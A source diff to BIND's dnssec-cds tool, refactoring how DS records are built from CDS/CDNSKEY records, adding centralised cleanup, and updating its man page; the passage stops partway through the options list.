 
 const char *program = "dnssec-cds";
@@ -123,17 +121,32 @@ typedef struct keyinfo {
 
 /* A replaceable function that can generate a DS RRset from some input */
 typedef isc_result_t
-ds_maker_func_t(dns_rdatalist_t *dslist, isc_buffer_t *buf, dns_rdata_t *rdata);
+ds_maker_func_t(isc_buffer_t *buf, dns_rdata_t *ds, dns_dsdigest_t dt,
+		dns_rdata_t *crdata);
 
-static dns_rdataset_t cdnskey_set, cdnskey_sig;
-static dns_rdataset_t cds_set, cds_sig;
-static dns_rdataset_t dnskey_set, dnskey_sig;
-static dns_rdataset_t old_ds_set, new_ds_set;
+static dns_rdataset_t cdnskey_set = DNS_RDATASET_INIT;
+static dns_rdataset_t cdnskey_sig = DNS_RDATASET_INIT;
+static dns_rdataset_t cds_set = DNS_RDATASET_INIT;
+static dns_rdataset_t cds_sig = DNS_RDATASET_INIT;
+static dns_rdataset_t dnskey_set = DNS_RDATASET_INIT;
+static dns_rdataset_t dnskey_sig = DNS_RDATASET_INIT;
+static dns_rdataset_t old_ds_set = DNS_RDATASET_INIT;
+static dns_rdataset_t new_ds_set = DNS_RDATASET_INIT;
 
-static keyinfo_t *old_key_tbl, *new_key_tbl;
+static keyinfo_t *old_key_tbl = NULL, *new_key_tbl = NULL;
 
 isc_buffer_t *new_ds_buf = NULL; /* backing store for new_ds_set */
 
+static dns_db_t *child_db = NULL;
+static dns_dbnode_t *child_node = NULL;
+static dns_db_t *parent_db = NULL;
+static dns_dbnode_t *parent_node = NULL;
+static dns_db_t *update_db = NULL;
+static dns_dbnode_t *update_node = NULL;
+static dns_dbversion_t *update_version = NULL;
+static bool cleanup_dst = false;
+static bool print_mem_stats = false;
+
 static void
 verbose_time(int level, const char *msg, isc_stdtime_t time) {
 	isc_result_t result;
@@ -251,21 +264,27 @@ load_db(const char *filename, dns_db_t **dbp, dns_dbnode_t **nodep) {
 }
 
 static void
-free_db(dns_db_t **dbp, dns_dbnode_t **nodep) {
-	dns_db_detachnode(*dbp, nodep);
-	dns_db_detach(dbp);
+free_db(dns_db_t **dbp, dns_dbnode_t **nodep, dns_dbversion_t **versionp) {
+	if (*dbp != NULL) {
+		if (*nodep != NULL) {
+			dns_db_detachnode(*dbp, nodep);
+		}
+		if (versionp != NULL && *versionp != NULL) {
+			dns_db_closeversion(*dbp, versionp, false);
+		}
+		dns_db_detach(dbp);
+	}
 }
 
 static void
 load_child_sets(const char *file) {
-	dns_db_t *db = NULL;
-	dns_dbnode_t *node = NULL;
-
-	load_db(file, &db, &node);
-	findset(db, node, dns_rdatatype_dnskey, &dnskey_set, &dnskey_sig);
-	findset(db, node, dns_rdatatype_cdnskey, &cdnskey_set, &cdnskey_sig);
-	findset(db, node, dns_rdatatype_cds, &cds_set, &cds_sig);
-	free_db(&db, &node);
+	load_db(file, &child_db, &child_node);
+	findset(child_db, child_node, dns_rdatatype_dnskey, &dnskey_set,
+		&dnskey_sig);
+	findset(child_db, child_node, dns_rdatatype_cdnskey, &cdnskey_set,
+		&cdnskey_sig);
+	findset(child_db, child_node, dns_rdatatype_cds, &cds_set, &cds_sig);
+	free_db(&child_db, &child_node, NULL);
 }
 
 static void
@@ -314,8 +333,6 @@ get_dsset_name(char *filename, size_t size, const char *path,
 static void
 load_parent_set(const char *path) {
 	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbnode_t *node = NULL;
 	isc_time_t modtime;
 	char filename[PATH_MAX + 1];
 
@@ -328,21 +345,20 @@ load_parent_set(const char *path) {
 	}
 	notbefore = isc_time_seconds(&modtime);
 	if (startstr != NULL) {
-		isc_stdtime_t now;
-		isc_stdtime_get(&now);
+		isc_stdtime_t now = isc_stdtime_now();
 		notbefore = strtotime(startstr, now, notbefore, NULL);
 	}
 	verbose_time(1, "child records must not be signed before", notbefore);
 
-	load_db(filename, &db, &node);
-	findset(db, node, dns_rdatatype_ds, &old_ds_set, NULL);
+	load_db(filename, &parent_db, &parent_node);
+	findset(parent_db, parent_node, dns_rdatatype_ds, &old_ds_set, NULL);
 
 	if (!dns_rdataset_isassociated(&old_ds_set)) {
 		fatal("could not find DS records for %s in %s", namestr,
 		      filename);
 	}
 
-	free_db(&db, &node);
+	free_db(&parent_db, &parent_node, NULL);
 }
 
 #define MAX_CDS_RDATA_TEXT_SIZE DNS_RDATA_MAXLENGTH * 2
@@ -367,17 +383,18 @@ formatset(dns_rdataset_t *rdataset) {
 
 	isc_buffer_allocate(mctx, &buf, MAX_CDS_RDATA_TEXT_SIZE);
 	result = dns_master_rdatasettotext(name, rdataset, style, NULL, buf);
+	dns_master_styledestroy(&style, mctx);
 
 	if ((result == ISC_R_SUCCESS) && isc_buffer_availablelength(buf) < 1) {
 		result = ISC_R_NOSPACE;
 	}
 
-	check_result(result, "dns_rdataset_totext()");
+	if (result != ISC_R_SUCCESS) {
+		isc_buffer_free(&buf);
+		check_result(result, "dns_rdataset_totext()");
+	}
 
 	isc_buffer_putuint8(buf, 0);
-
-	dns_master_styledestroy(&style, mctx);
-
 	return (buf);
 }
 
@@ -420,6 +437,7 @@ write_parent_set(const char *path, const char *inplace, bool nsupdate,
 
 	result = isc_file_openunique(tmpname, &fp);
 	if (result != ISC_R_SUCCESS) {
+		isc_buffer_free(&buf);
 		fatal("open %s: %s", tmpname, isc_result_totext(result));
 	}
 	fprintf(fp, "%s", (char *)r.base);
@@ -477,7 +495,7 @@ match_key_dsset(keyinfo_t *ki, dns_rdataset_t *dsset, strictness_t strictness) {
 				 "dns_ds_buildrdata("
 				 "keytag=%d, algo=%d, digest=%d): %s\n",
 				 ds.key_tag, ds.algorithm, ds.digest_type,
-				 dns_result_totext(result));
+				 isc_result_totext(result));
 			continue;
 		}
 		/* allow for both DS and CDS */
@@ -514,23 +532,22 @@ static keyinfo_t *
 match_keyset_dsset(dns_rdataset_t *keyset, dns_rdataset_t *dsset,
 		   strictness_t strictness) {
 	isc_result_t result;
-	keyinfo_t *keytable;
+	keyinfo_t *keytable, *ki;
 	int i;
 
 	nkey = dns_rdataset_count(keyset);
 
-	keytable = isc_mem_get(mctx, sizeof(keyinfo_t) * nkey);
+	keytable = isc_mem_cget(mctx, nkey, sizeof(keytable[0]));
 
-	for (result = dns_rdataset_first(keyset), i = 0;
-	     result == ISC_R_SUCCESS; result = dns_rdataset_next(keyset), i++)
+	for (result = dns_rdataset_first(keyset), i = 0, ki = keytable;
+	     result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(keyset), i++, ki++)
 	{
-		keyinfo_t *ki;
 		dns_rdata_dnskey_t dnskey;
 		dns_rdata_t *keyrdata;
 		isc_region_t r;
 
 		INSIST(i < nkey);
-		ki = &keytable[i];
 		keyrdata = &ki->rdata;
 
 		dns_rdata_init(keyrdata);
@@ -554,7 +571,7 @@ match_keyset_dsset(dns_rdataset_t *keyset, dns_rdataset_t *dsset,
 			vbprintf(3,
 				 "dns_dnssec_keyfromrdata("
 				 "keytag=%d, algo=%d): %s\n",
-				 ki->tag, ki->algo, dns_result_totext(result));
+				 ki->tag, ki->algo, isc_result_totext(result));
 		}
 	}
 
@@ -568,14 +585,15 @@ free_keytable(keyinfo_t **keytable_p) {
 	keyinfo_t *ki;
 	int i;
 
-	for (i = 0; i < nkey; i++) {
-		ki = &keytable[i];
+	REQUIRE(keytable != NULL);
+
+	for (i = 0, ki = keytable; i < nkey; i++, ki++) {
 		if (ki->dst != NULL) {
 			dst_key_free(&ki->dst);
 		}
 	}
 
-	isc_mem_put(mctx, keytable, sizeof(keyinfo_t) * nkey);
+	isc_mem_cput(mctx, keytable, nkey, sizeof(keytable[0]));
 }
 
 /*
@@ -594,8 +612,9 @@ matching_sigs(keyinfo_t *keytbl, dns_rdataset_t *rdataset,
 	dns_secalg_t *algo;
 	int i;
 
-	algo = isc_mem_get(mctx, nkey);
-	memset(algo, 0, nkey);
+	REQUIRE(keytbl != NULL);
+
+	algo = isc_mem_cget(mctx, nkey, sizeof(algo[0]));
 
 	for (result = dns_rdataset_first(sigset); result == ISC_R_SUCCESS;
 	     result = dns_rdataset_next(sigset))
@@ -636,7 +655,8 @@ matching_sigs(keyinfo_t *keytbl, dns_rdataset_t *rdataset,
 						   NULL);
 
 			if (result != ISC_R_SUCCESS &&
-			    result != DNS_R_FROMWILDCARD) {
+			    result != DNS_R_FROMWILDCARD)
+			{
 				vbprintf(1,
 					 "skip RRSIG by key %d:"
 					 " verification failed: %s\n",
@@ -677,7 +697,7 @@ signed_loose(dns_secalg_t *algo) {
 			ok = true;
 		}
 	}
-	isc_mem_put(mctx, algo, nkey);
+	isc_mem_cput(mctx, algo, nkey, sizeof(algo[0]));
 	return (ok);
 }
 
@@ -719,86 +739,87 @@ signed_strict(dns_rdataset_t *dsset, dns_secalg_t *algo) {
 		}
 	}
 
-	isc_mem_put(mctx, algo, nkey);
+	isc_mem_cput(mctx, algo, nkey, sizeof(algo[0]));
 	return (all_ok);
 }
 
-static dns_rdata_t *
-rdata_get(void) {
-	dns_rdata_t *rdata;
-
-	rdata = isc_mem_get(mctx, sizeof(*rdata));
-	dns_rdata_init(rdata);
-
-	return (rdata);
-}
-
-static isc_result_t
-rdata_put(isc_result_t result, dns_rdatalist_t *rdlist, dns_rdata_t *rdata) {
-	if (result == ISC_R_SUCCESS) {
-		ISC_LIST_APPEND(rdlist->rdata, rdata, link);
-	} else {
-		isc_mem_put(mctx, rdata, sizeof(*rdata));
-	}
-
-	return (result);
-}
-
 /*
  * This basically copies the rdata into the buffer, but going via the
- * unpacked struct has the side-effect of changing the rdatatype. The
- * dns_rdata_cds_t and dns_rdata_ds_t types are aliases.
+ * unpacked struct lets us change the rdatatype. (The dns_rdata_cds_t
+ * and dns_rdata_ds_t types are aliases.)
  */
 static isc_result_t
-ds_from_cds(dns_rdatalist_t *dslist, isc_buffer_t *buf, dns_rdata_t *cds) {
+ds_from_cds(isc_buffer_t *buf, dns_rdata_t *rds, dns_dsdigest_t dt,
+	    dns_rdata_t *cds) {
 	isc_result_t result;
 	dns_rdata_ds_t ds;
-	dns_rdata_t *rdata;
 
 	REQUIRE(buf != NULL);
 
-	rdata = rdata_get();
-
 	result = dns_rdata_tostruct(cds, &ds, NULL);
 	check_result(result, "dns_rdata_tostruct(CDS)");
 	ds.common.rdtype = dns_rdatatype_ds;
 
-	result = dns_rdata_fromstruct(rdata, rdclass, dns_rdatatype_ds, &ds,
-				      buf);
+	if (ds.digest_type != dt) {
+		return (ISC_R_IGNORE);
+	}
 
-	return (rdata_put(result, dslist, rdata));
+	return (dns_rdata_fromstruct(rds, rdclass, dns_rdatatype_ds, &ds, buf));
 }
 
 static isc_result_t
-ds_from_cdnskey(dns_rdatalist_t *dslist, isc_buffer_t *buf,
+ds_from_cdnskey(isc_buffer_t *buf, dns_rdata_t *ds, dns_dsdigest_t dt,
 		dns_rdata_t *cdnskey) {
 	isc_result_t result;
-	unsigned i, n;
+	isc_region_t r;
 
 	REQUIRE(buf != NULL);
 
-	n = sizeof(dtype) / sizeof(dtype[0]);
-	for (i = 0; i < n; i++) {
-		if (dtype[i] != 0) {
-			dns_rdata_t *rdata;
-			isc_region_t r;
+	isc_buffer_availableregion(buf, &r);
+	if (r.length < DNS_DS_BUFFERSIZE) {
+		return (ISC_R_NOSPACE);
+	}
 
-			isc_buffer_availableregion(buf, &r);
-			if (r.length < DNS_DS_BUFFERSIZE) {
-				return (ISC_R_NOSPACE);
-			}
+	result = dns_ds_buildrdata(name, cdnskey, dt, r.base, ds);
+	if (result == ISC_R_SUCCESS) {
+		isc_buffer_add(buf, DNS_DS_BUFFERSIZE);
+	}
 
-			rdata = rdata_get();
-			result = dns_ds_buildrdata(name, cdnskey, dtype[i],
-						   r.base, rdata);
-			if (result == ISC_R_SUCCESS) {
-				isc_buffer_add(buf, DNS_DS_BUFFERSIZE);
-			}
+	return (result);
+}
 
-			result = rdata_put(result, dslist, rdata);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
+static isc_result_t
+append_new_ds_set(ds_maker_func_t *ds_from_rdata, isc_buffer_t *buf,
+		  dns_rdatalist_t *dslist, dns_dsdigest_t dt,
+		  dns_rdataset_t *crdset) {
+	isc_result_t result;
+
+	for (result = dns_rdataset_first(crdset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(crdset))
+	{
+		dns_rdata_t crdata = DNS_RDATA_INIT;
+		dns_rdata_t *ds = NULL;
+
+		dns_rdataset_current(crdset, &crdata);
+
+		ds = isc_mem_get(mctx, sizeof(*ds));
+		dns_rdata_init(ds);
+
+		result = ds_from_rdata(buf, ds, dt, &crdata);
+
+		switch (result) {
+		case ISC_R_SUCCESS:
+			ISC_LIST_APPEND(dslist->rdata, ds, link);
+			break;
+		case ISC_R_IGNORE:
+			isc_mem_put(mctx, ds, sizeof(*ds));
+			continue;
+		case ISC_R_NOSPACE:
+			isc_mem_put(mctx, ds, sizeof(*ds));
+			return (result);
+		default:
+			isc_mem_put(mctx, ds, sizeof(*ds));
+			check_result(result, "ds_from_rdata()");
 		}
 	}
 
@@ -807,52 +828,45 @@ ds_from_cdnskey(dns_rdatalist_t *dslist, isc_buffer_t *buf,
 
 static void
 make_new_ds_set(ds_maker_func_t *ds_from_rdata, uint32_t ttl,
-		dns_rdataset_t *rdset) {
+		dns_rdataset_t *crdset) {
 	unsigned int size = 16;
+
 	for (;;) {
-		isc_result_t result;
-		dns_rdatalist_t *dslist;
+		isc_result_t result = ISC_R_SUCCESS;
+		dns_rdatalist_t *dslist = NULL;
+		size_t n;
 
 		dslist = isc_mem_get(mctx, sizeof(*dslist));
-
 		dns_rdatalist_init(dslist);
 		dslist->rdclass = rdclass;
 		dslist->type = dns_rdatatype_ds;
 		dslist->ttl = ttl;
 
 		dns_rdataset_init(&new_ds_set);
-		result = dns_rdatalist_tordataset(dslist, &new_ds_set);
-		check_result(result, "dns_rdatalist_tordataset(dslist)");
+		dns_rdatalist_tordataset(dslist, &new_ds_set);
 
 		isc_buffer_allocate(mctx, &new_ds_buf, size);
 
-		for (result = dns_rdataset_first(rdset);
-		     result == ISC_R_SUCCESS; result = dns_rdataset_next(rdset))
-		{
-			isc_result_t tresult;
-			dns_rdata_t rdata = DNS_RDATA_INIT;
-
-			dns_rdataset_current(rdset, &rdata);
-
-			tresult = ds_from_rdata(dslist, new_ds_buf, &rdata);
-			if (tresult == ISC_R_NOSPACE) {
-				vbprintf(20, "DS list buffer size %u\n", size);
-				freelist(&new_ds_set);
-				isc_buffer_free(&new_ds_buf);
-				size *= 2;
+		n = sizeof(dtype) / sizeof(dtype[0]);
+		for (size_t i = 0; i < n && dtype[i] != 0; i++) {
+			result = append_new_ds_set(ds_from_rdata, new_ds_buf,
+						   dslist, dtype[i], crdset);
+			if (result != ISC_R_SUCCESS) {
 				break;
 			}
-
-			check_result(tresult, "ds_from_rdata()");
 		}
-
-		if (result == ISC_R_NOMORE) {
-			break;
+		if (result == ISC_R_SUCCESS) {
+			return;
 		}
+
+		vbprintf(2, "doubling DS list buffer size from %u\n", size);
+		freelist(&new_ds_set);
+		isc_buffer_free(&new_ds_buf);
+		size *= 2;
 	}
 }
 
-static inline int
+static int
 rdata_cmp(const void *rdata1, const void *rdata2) {
 	return (dns_rdata_compare((const dns_rdata_t *)rdata1,
 				  (const dns_rdata_t *)rdata2));
@@ -873,13 +887,14 @@ consistent_digests(dns_rdataset_t *dsset) {
 	int i, j, n, d;
 
 	/*
-	 * First sort the dsset. DS rdata fields are tag, algorithm, digest,
-	 * so sorting them brings together all the records for each key.
+	 * First sort the dsset. DS rdata fields are tag, algorithm,
+	 * digest, so sorting them brings together all the records for
+	 * each key.
 	 */
 
 	n = dns_rdataset_count(dsset);
 
-	arrdata = isc_mem_get(mctx, n * sizeof(dns_rdata_t));
+	arrdata = isc_mem_cget(mctx, n, sizeof(dns_rdata_t));
 
 	for (result = dns_rdataset_first(dsset), i = 0; result == ISC_R_SUCCESS;
 	     result = dns_rdataset_next(dsset), i++)
@@ -893,7 +908,7 @@ consistent_digests(dns_rdataset_t *dsset) {
 	/*
 	 * Convert sorted arrdata to more accessible format
 	 */
-	ds = isc_mem_get(mctx, n * sizeof(dns_rdata_ds_t));
+	ds = isc_mem_cget(mctx, n, sizeof(dns_rdata_ds_t));
 
 	for (i = 0; i < n; i++) {
 		result = dns_rdata_tostruct(&arrdata[i], &ds[i], NULL);
@@ -932,8 +947,8 @@ consistent_digests(dns_rdataset_t *dsset) {
 	/*
 	 * Done!
 	 */
-	isc_mem_put(mctx, ds, n * sizeof(dns_rdata_ds_t));
-	isc_mem_put(mctx, arrdata, n * sizeof(dns_rdata_t));
+	isc_mem_cput(mctx, ds, n, sizeof(dns_rdata_ds_t));
+	isc_mem_cput(mctx, arrdata, n, sizeof(dns_rdata_t));
 
 	return (match);
 }
@@ -961,32 +976,27 @@ static void
 update_diff(const char *cmd, uint32_t ttl, dns_rdataset_t *addset,
 	    dns_rdataset_t *delset) {
 	isc_result_t result;
-	dns_db_t *db;
-	dns_dbnode_t *node;
-	dns_dbversion_t *ver;
 	dns_rdataset_t diffset;
 	uint32_t save;
 
-	db = NULL;
 	result = dns_db_create(mctx, "rbt", name, dns_dbtype_zone, rdclass, 0,
-			       NULL, &db);
+			       NULL, &update_db);
 	check_result(result, "dns_db_create()");
 
-	ver = NULL;
-	result = dns_db_newversion(db, &ver);
+	result = dns_db_newversion(update_db, &update_version);
 	check_result(result, "dns_db_newversion()");
 
-	node = NULL;
-	result = dns_db_findnode(db, name, true, &node);
+	result = dns_db_findnode(update_db, name, true, &update_node);
 	check_result(result, "dns_db_findnode()");
 
 	dns_rdataset_init(&diffset);
 
-	result = dns_db_addrdataset(db, node, ver, 0, addset, DNS_DBADD_MERGE,
-				    NULL);
+	result = dns_db_addrdataset(update_db, update_node, update_version, 0,
+				    addset, DNS_DBADD_MERGE, NULL);
 	check_result(result, "dns_db_addrdataset()");
 
-	result = dns_db_subtractrdataset(db, node, ver, delset, 0, &diffset);
+	result = dns_db_subtractrdataset(update_db, update_node, update_version,
+					 delset, 0, &diffset);
 	if (result == DNS_R_UNCHANGED) {
 		save = addset->ttl;
 		addset->ttl = ttl;
@@ -999,9 +1009,7 @@ update_diff(const char *cmd, uint32_t ttl, dns_rdataset_t *addset,
 		dns_rdataset_disassociate(&diffset);
 	}
 
-	dns_db_detachnode(db, &node);
-	dns_db_closeversion(db, &ver, false);
-	dns_db_detach(&db);
+	free_db(&update_db, &update_node, &update_version);
 }
 
 static void
@@ -1021,7 +1029,7 @@ nsdiff(uint32_t ttl, dns_rdataset_t *oldset, dns_rdataset_t *newset) {
 	}
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -1051,6 +1059,32 @@ usage(void) {
 	exit(1);
 }
 
+static void
+cleanup(void) {
+	free_db(&child_db, &child_node, NULL);
+	free_db(&parent_db, &parent_node, NULL);
+	free_db(&update_db, &update_node, &update_version);
+	if (old_key_tbl != NULL) {
+		free_keytable(&old_key_tbl);
+	}
+	if (new_key_tbl != NULL) {
+		free_keytable(&new_key_tbl);
+	}
+	free_all_sets();
+	if (lctx != NULL) {
+		cleanup_logging(&lctx);
+	}
+	if (cleanup_dst) {
+		dst_lib_destroy();
+	}
+	if (mctx != NULL) {
+		if (print_mem_stats && verbose > 10) {
+			isc_mem_stats(mctx, stdout);
+		}
+		isc_mem_destroy(&mctx);
+	}
+}
+
 int
 main(int argc, char *argv[]) {
 	const char *child_path = NULL;
@@ -1063,12 +1097,9 @@ main(int argc, char *argv[]) {
 	int ch;
 	char *endp;
 
-	isc_mem_create(&mctx);
+	setfatalcallback(cleanup);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
+	isc_mem_create(&mctx);
 
 	isc_commandline_errprint = false;
 
@@ -1092,11 +1123,12 @@ main(int argc, char *argv[]) {
 			break;
 		case 'i':
 			/*
-			 * This is a bodge to make the argument optional,
-			 * so that it works just like sed(1).
+			 * This is a bodge to make the argument
+			 * optional, so that it works just like sed(1).
 			 */
 			if (isc_commandline_argument ==
-			    argv[isc_commandline_index - 1]) {
+			    argv[isc_commandline_index - 1])
+			{
 				isc_commandline_index--;
 				inplace = "";
 			} else {
@@ -1153,6 +1185,7 @@ main(int argc, char *argv[]) {
 		fatal("could not initialize dst: %s",
 		      isc_result_totext(result));
 	}
+	cleanup_dst = true;
 
 	if (ds_path == NULL) {
 		fatal("missing -d DS pathname");
@@ -1188,7 +1221,8 @@ main(int argc, char *argv[]) {
 		fatal("missing RRSIG CDNSKEY records for %s", namestr);
 	}
 	if (dns_rdataset_isassociated(&cds_set) &&
-	    !dns_rdataset_isassociated(&cds_sig)) {
+	    !dns_rdataset_isassociated(&cds_sig))
+	{
 		fatal("missing RRSIG CDS records for %s", namestr);
 	}
 
@@ -1196,9 +1230,10 @@ main(int argc, char *argv[]) {
 	old_key_tbl = match_keyset_dsset(&dnskey_set, &old_ds_set, LOOSE);
 
 	/*
-	 * We have now identified the keys that are allowed to authenticate
-	 * the DNSKEY RRset (RFC 4035 section 5.2 bullet 2), and CDNSKEY and
-	 * CDS RRsets (RFC 7344 section 4.1 bullet 2).
+	 * We have now identified the keys that are allowed to
+	 * authenticate the DNSKEY RRset (RFC 4035 section 5.2 bullet
+	 * 2), and CDNSKEY and CDS RRsets (RFC 7344 section 4.1 bullet
+	 * 2).
 	 */
 
 	vbprintf(1, "verify DNSKEY signature(s)\n");
@@ -1210,7 +1245,8 @@ main(int argc, char *argv[]) {
 	if (dns_rdataset_isassociated(&cdnskey_set)) {
 		vbprintf(1, "verify CDNSKEY signature(s)\n");
 		if (!signed_loose(matching_sigs(old_key_tbl, &cdnskey_set,
-						&cdnskey_sig))) {
+						&cdnskey_sig)))
+		{
 			fatal("could not validate child CDNSKEY RRset for %s",
 			      namestr);
 		}
@@ -1218,7 +1254,8 @@ main(int argc, char *argv[]) {
 	if (dns_rdataset_isassociated(&cds_set)) {
 		vbprintf(1, "verify CDS signature(s)\n");
 		if (!signed_loose(
-			    matching_sigs(old_key_tbl, &cds_set, &cds_sig))) {
+			    matching_sigs(old_key_tbl, &cds_set, &cds_sig)))
+		{
 			fatal("could not validate child CDS RRset for %s",
 			      namestr);
 		}
@@ -1248,7 +1285,7 @@ main(int argc, char *argv[]) {
 		vbprintf(1, "%s has neither CDS nor CDNSKEY records\n",
 			 namestr);
 		write_parent_set(ds_path, inplace, nsupdate, &old_ds_set);
-		exit(0);
+		goto cleanup;
 	}
 
 	/*
@@ -1263,6 +1300,24 @@ main(int argc, char *argv[]) {
 		make_new_ds_set(ds_from_cdnskey, ttl, &cdnskey_set);
 	}
 
+	/*
+	 * Try to use CDNSKEY records if the CDS records are missing
+	 * or did not match.
+	 */
+	if (dns_rdataset_count(&new_ds_set) == 0 &&
+	    dns_rdataset_isassociated(&cdnskey_set))
+	{
+		vbprintf(1, "CDS records have no allowed digest types; "
+			    "using CDNSKEY instead\n");
+		freelist(&new_ds_set);
+		isc_buffer_free(&new_ds_buf);
+		make_new_ds_set(ds_from_cdnskey, ttl, &cdnskey_set);
+	}
+	if (dns_rdataset_count(&new_ds_set) == 0) {
+		fatal("CDS records at %s do not match any -a digest types",
+		      namestr);
+	}
+
 	/*
 	 * Now we have a candidate DS RRset, we need to check it
 	 * won't break the delegation.
@@ -1296,13 +1351,8 @@ main(int argc, char *argv[]) {
 
 	write_parent_set(ds_path, inplace, nsupdate, &new_ds_set);
 
-	free_all_sets();
-	cleanup_logging(&lctx);
-	dst_lib_destroy();
-	if (verbose > 10) {
-		isc_mem_stats(mctx, stdout);
-	}
-	isc_mem_destroy(&mctx);
-
+cleanup:
+	print_mem_stats = true;
+	cleanup();
 	exit(0);
 }
diff --git a/bin/dnssec/dnssec-cds.rst b/bin/dnssec/dnssec-cds.rst
index b49583bf45..09960e91d3 100644
--- a/bin/dnssec/dnssec-cds.rst
+++ b/bin/dnssec/dnssec-cds.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-cds
+.. program:: dnssec-cds
 .. _man_dnssec-cds:
 
 dnssec-cds - change DS records for a child zone based on CDS/CDNSKEY
@@ -34,93 +26,104 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-The ``dnssec-cds`` command changes DS records at a delegation point
+The :program:`dnssec-cds` command changes DS records at a delegation point
 based on CDS or CDNSKEY records published in the child zone. If both CDS
 and CDNSKEY records are present in the child zone, the CDS is preferred.
 This enables a child zone to inform its parent of upcoming changes to
-its key-signing keys (KSKs); by polling periodically with ``dnssec-cds``, the
+its key-signing keys (KSKs); by polling periodically with :program:`dnssec-cds`, the
 parent can keep the DS records up-to-date and enable automatic rolling
 of KSKs.
 
-Two input files are required. The ``-f child-file`` option specifies a
+Two input files are required. The :option:`-f child-file <-f>` option specifies a
 file containing the child's CDS and/or CDNSKEY records, plus RRSIG and
-DNSKEY records so that they can be authenticated. The ``-d path`` option
+DNSKEY records so that they can be authenticated. The :option:`-d path <-d>` option
 specifies the location of a file containing the current DS records. For
 example, this could be a ``dsset-`` file generated by
-``dnssec-signzone``, or the output of ``dnssec-dsfromkey``, or the
-output of a previous run of ``dnssec-cds``.
+:iscman:`dnssec-signzone`, or the output of :iscman:`dnssec-dsfromkey`, or the
+output of a previous run of :program:`dnssec-cds`.
 
-The ``dnssec-cds`` command uses special DNSSEC validation logic
+The :program:`dnssec-cds` command uses special DNSSEC validation logic
 specified by :rfc:`7344`. It requires that the CDS and/or CDNSKEY records
 be validly signed by a key represented in the existing DS records. This
 is typically the pre-existing KSK.
 
 For protection against replay attacks, the signatures on the child
 records must not be older than they were on a previous run of
-``dnssec-cds``. Their age is obtained from the modification time of the
-``dsset-`` file, or from the ``-s`` option.
+:program:`dnssec-cds`. Their age is obtained from the modification time of the
+``dsset-`` file, or from the :option:`-s` option.
 
-To protect against breaking the delegation, ``dnssec-cds`` ensures that
+To protect against breaking the delegation, :program:`dnssec-cds` ensures that
 the DNSKEY RRset can be verified by every key algorithm in the new DS
 RRset, and that the same set of keys are covered by every DS digest
 type.
 
 By default, replacement DS records are written to the standard output;
-with the ``-i`` option the input file is overwritten in place. The
+with the :option:`-i` option the input file is overwritten in place. The
 replacement DS records are the same as the existing records, when no
 change is required. The output can be empty if the CDS/CDNSKEY records
 specify that the child zone wants to be insecure.
 
 .. warning::
 
-   Be careful not to delete the DS records when ``dnssec-cds`` fails!
+   Be careful not to delete the DS records when :program:`dnssec-cds` fails!
 
-Alternatively, ``dnssec-cds -u`` writes an ``nsupdate`` script to the
-standard output. The ``-u`` and ``-i`` options can be used together to
-maintain a ``dsset-`` file as well as emit an ``nsupdate`` script.
+Alternatively, :option`dnssec-cds -u` writes an :iscman:`nsupdate` script to the
+standard output. The :option:`-u` and :option:`-i` options can be used together to
+maintain a ``dsset-`` file as well as emit an :iscman:`nsupdate` script.
 
 Options
 ~~~~~~~
 
-``-a algorithm``
-   This option specifies a digest algorithm to use when converting CDNSKEY records to
-   DS records. This option can be repeated, so that multiple DS records
-   are created for each CDNSKEY record. This option has no effect when
-   using CDS records.
+.. option:: -a algorithm
+
+   When converting CDS records to DS records, this option specifies
+   the acceptable digest algorithms. This option can be repeated, so
+   that multiple digest types are allowed. If none of the CDS records
+   use an acceptable digest type, :program:`dnssec-cds` will try to use CDNSKEY
+   records instead; if there are no CDNSKEY records, it reports an error.
+
+   When converting CDNSKEY records to DS records, this option specifies the
+   digest algorithm to use. It can be repeated, so that multiple DS records
+   are created for each CDNSKEY records.
 
    The algorithm must be one of SHA-1, SHA-256, or SHA-384. These values
    are case-insensitive, and the hyphen may be omitted. If no algorithm
-   is specified, the default is SHA-256.
+   is specified, the default is SHA-256 only.
+
+.. option:: -c class
 
-``-c class``
    This option specifies the DNS class of the zones.
 
-``-D``
+.. option:: -D
+
    This option generates DS records from CDNSKEY records if both CDS and CDNSKEY
    records are present in the child zone. By default CDS records are
    preferred.
 
-``-d path``
+.. option:: -d path
+
    This specifies the location of the parent DS records. The path can be the name of a file
-   containing the DS records; if it is a directory, ``dnssec-cds``
+   containing the DS records; if it is a directory, :program:`dnssec-cds`
    looks for a ``dsset-`` file for the domain inside the directory.
 
    To protect against replay attacks, child records are rejected if they
    were signed earlier than the modification time of the ``dsset-``
-   file. This can be adjusted with the ``-s`` option.
+   file. This can be adjusted with the :option:`-s` option.
+
+.. option:: -f child-file
 
-``-f child-file``
    This option specifies the file containing the child's CDS and/or CDNSKEY records, plus its
    DNSKEY records and the covering RRSIG records, so that they can be
    authenticated.
 
    The examples below describe how to generate this file.
 
-``-iextension``
+.. option:: -i extension
+
    This option updates the ``dsset-`` file in place, instead of writing DS records to
    the standard output.
 
-   There must be no space between the ``-i`` and the extension. If
